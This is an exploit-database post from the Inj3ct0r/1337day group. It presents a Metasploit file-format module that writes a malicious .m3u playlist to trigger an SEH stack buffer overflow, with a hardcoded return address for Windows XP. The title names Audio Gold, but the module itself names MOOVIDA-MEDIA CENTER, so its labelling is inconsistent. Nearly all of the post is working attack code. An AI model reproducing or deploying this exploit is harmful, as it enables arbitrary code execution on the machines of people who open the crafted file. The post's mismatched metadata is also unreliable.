Audio Gold Local Buffer Overflow(SEH)



EKU-ID: 1001 CVE: OSVDB-ID: 16921
Author: Angel Injection Published: 2011-09-19 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
#
#######################################################################
# Exploit Title: Audio Gold Local Buffer Overflow(SEH)
# Author: Angel Injection
# Home: http://1337day.com
# Thanks To: Inj3ct0r Team | r0073r // Sid3^effects // r4dc0re // CrosS || Inj3ct0r Team || SeeMe // XroGuE // gunslinger_ // indoushka // KnocKout // ZoRLu // anT!-Tr0J4n // eXeSoul // KedAns-Dz // ^Xecuti0n3r // Kalashinkov3


##
# $Id: MOOVIDA-MEDIACENTER.rb 16921 2011-09-16 08:00:02Z IRAQ $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'MOOVIDA-MEDIA CENTER universal Local Buffer Overflow Exploit(SEH)',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in MOOVIDA-MEDIA CENTER
                
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Angel Injection',
                    
                ],
            'Version'        => '$Revision: 16921 $',
            'References'     =>
                [
                    [ 'OSVDB', '16921' ],
                    [ 'URL', 'http://www.1337day.com/exploits/16922' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'    => 5400,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500,
                    'DisableNops'   =>  true,
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000e4da } ], # pop pop ret =>
                ],
            'Privileged'     => false,
            'DisclosureDate' => '19/9/2011',
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('FILENAME',   [ false, 'The file name.',  'exploit.m3u']),
                ], self.class)

    end

    def exploit

        sploit = rand_text_alpha_upper(88)
        sploit << generate_seh_payload(target.ret)
        sploit << payload.encoded

        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(sploit)

    end

end